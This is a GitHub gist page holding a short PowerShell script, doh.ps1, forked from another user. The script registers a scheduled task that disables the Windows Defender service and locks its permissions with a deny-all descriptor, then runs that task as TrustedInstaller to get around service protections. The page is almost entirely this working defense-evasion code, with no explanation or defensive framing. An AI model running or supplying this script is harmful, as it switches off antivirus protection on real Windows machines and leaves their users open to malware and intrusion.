Skip to content

Instantly share code, notes, and snippets.

@H0K5
Forked from tyranid/doh.ps1
Created May 7, 2020 21:56
Show Gist options
  • Save H0K5/a66a7ee9f9927f6caba4fe8f92461dd8 to your computer and use it in GitHub Desktop.
Save H0K5/a66a7ee9f9927f6caba4fe8f92461dd8 to your computer and use it in GitHub Desktop.

Revisions

  1. @tyranid tyranid created this gist May 4, 2020.
    12 changes: 12 additions & 0 deletions doh.ps1
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,12 @@
    $cmdline = '/C sc.exe config windefend start= disabled && sc.exe sdset windefend D:(D;;GA;;;WD)(D;;GA;;;OW)'

    $a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument $cmdline
    Register-ScheduledTask -TaskName 'TestTask' -Action $a

    $svc = New-Object -ComObject 'Schedule.Service'
    $svc.Connect()

    $user = 'NT SERVICE\TrustedInstaller'
    $folder = $svc.GetFolder('\')
    $task = $folder.GetTask('TestTask')
    $task.RunEx($null, 0, 0, $user)